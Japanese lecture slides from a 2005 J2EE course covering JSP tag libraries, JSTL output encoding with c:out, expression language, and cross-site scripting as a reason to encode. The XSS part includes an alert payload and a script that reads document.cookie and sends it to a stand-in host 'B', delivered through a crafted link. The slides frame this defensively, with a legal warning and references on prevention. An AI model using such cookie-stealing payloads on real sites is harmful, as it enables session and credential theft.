タグライブラリとJSP J2EE I 第10回 / 2005-01-15

ここでの内容 タグライブラリの使い方、特にJSTLについて学ぶ。 クロスサイトスクリプティングについて学ぶ。

カスタムタグ JSPの中で定義できる独自のタグ。 スクリプトレットを使って記述するところをタグで表現できる。

タグライブラリ 複数のカスタムタグをまとめてひとつのパッケージにしたものを「タグライブラリ」と言う。 タグライブラリの構成 タグの処理を記述する Java のプログラム (通常は Jar ファイルで提供される) タグに関する情報を持つ Tag Library Descriptor (TLD)

さまざまなタグライブラリ 既製のタグライブラリがいくつかある。 JavaServer Pages Standard Tag Library (JSTL) 値の設定・制御構造 データベースへのアクセス、国際化、XMLの解析など Jakarta Taglibs JSF のタグライブラリ などなど

HTML中の特殊文字の扱い HTMLでは “<“, “>”, “&” といった文字は特別な意味を持つので、実態参照で表す。 文字 &

JSTLによるタグのエンコード (1) フォームから入力した文字列を出力するサンプル c:out を使うと、“<” や “>” や “&” といった文字をエンコードする(実態参照で表す)。 <p> c:out を使わない場合: <%= request.getParameter("title") %> </p> c:out を使った場合: <c:out value="${param.title}" />

JSTLによるタグのエンコード (2) 入力文字列 c:out を使った場合 c:out を使わない場合 <m>wakhok</m> c:out を使った場合 タグがエンコードされるので、”<“ や “>” はタグではなくただの文字ということになる。 c:out を使わない場合 wakhok “m” というタグが使われたことになる。

クロスサイトスクリプティング (1) フォームから入力されたタグが そのまま出力される ↓ 入力された文字が JavaScript だった場合 JavaScript が実行されてしまう！

<script>alert(“アホですか？”);</script> クロスサイトスクリプティング (2) 実例 <script>alert(“アホですか？”);</script> ↓ 警告画面が表示されてしまう

クロスサイトスクリプティング (3) cookie が盗まれる例 (1) ショッピングサイト “WAK” とその利用者が狙われる例 “WAK” の商品検索システムは、タグをエンコードしない。つまりクロスサイトスクリプティングを引き起こしてしまうようになっている。 “WAK” では、商品を購入するときに使うユーザ名とパスワードを cookie に保存している。

クロスサイトスクリプティング (4) cookie が盗まれる例 (2) ここで、怪しいサイト“A”が登場する。 “A” には、“WAK” へのリンクが貼られている。 その内容は WAK の Cookie を取得して、その Cookie を別のサイト “B” の getCookie.jsp に渡す JavaScript

クロスサイトスクリプティング (5) cookie が盗まれる例 (3) リンクの内容 <a href= “http://wak/search.jsp?p=(JavaScriptのタグ)”> Ｈなサイト </a>

クロスサイトスクリプティング (6) cookie が盗まれる例 (4) JavaScript の内容 <script> s = document.cookie; location.href = “http://B/getCookie.jsp?c=“+s; </script>

クロスサイトスクリプティング (7) cookie が盗まれる例 (5) “WAK” の利用者が サイト “A” へのリンクをうっかり押してしまった場合 リンク先の “WAK” のサイトが表示されるとき、同時に JavaScript を実行されて Cookie を盗まれる ユーザ名とパスワードを盗られたので、あとはやられ放題。

JSTLによるタグのエンコード (3) タグの入力を許可してしまうと、クロスサイトスクリプティングを引き起こすことが考えられる。 タグの入力を許可しない方がよい。 こうした処理をタグライブラリを使わずに書くには、スクリプトレットを使う必要がある。

警告 これまで述べた手順を外のサイトで試さないように。 「不正アクセス禁止法」に抵触するおそれがある。

タグライブラリを使う 利用するタグライブラリと、その接頭辞を指定 <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>

式言語 (Expression Language) ${var} 変数 var ${param.title} フォームから入力され たデータ "title" の値 ${book.author} book という Bean の author プロパティ

制御構造の例 <ul> <c:forEach var="book" items="${bookList.iterator}" > <li> <c:out value="${book.title}" /> / <c:out value="${book.author}" /> </li> </c:forEach> </ul>

JSTL の Tomcat への配置 JSTL の配布パッケージの lib フォルダに含まれている次の２つのjarファイルを WEB-INF/lib フォルダにコピーする。 jstl.jar standard.jar

参考文献・URL タグライブラリ関連 JavaServer Pages Standard Tag Library http://java.sun.com/products/jsp/jstl/index.jsp Jakarta Taglibs http://jakarta.apache.org/taglibs/index.html

参考文献・URL クロスサイトスクリプティング (1) セキュアプログラミング講座 独立行政法人情報処理推進機構が提供している、安全なプログラミングをするための講座。1-2 がクロスサイトスクリプティングの解説とその対策になっている。 http://www.ipa.go.jp/security/awareness/vendor/programming/index.html クロスサイトスクリプティング攻撃に対する電子商取引サイトの脆弱さの実体とその対策 高木　浩光，関口　智嗣，大蒔　和仁 高木浩光氏らによる2001年の論文。クロスサイトスクリプティングについてわかりやすく記述されている。 この論文の発表以降、これらの電子商取引サイトではクロスサイトスクリプティングの対策は十分にとられている（はずだ）が、この内容の重要性は変わっていない。 http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf

参考文献・URL クロスサイトスクリプティング (2) 安全なWebアプリ開発40箇条の鉄則 産業技術総合研究所の高木浩光氏のスライド。 安全なWebアプリケーション構築のためのポイントがコンパクトにまとめられている。必読。 http://java-house.jp/~takagi/paper/idg-jwd2003-takagi-dist.pdf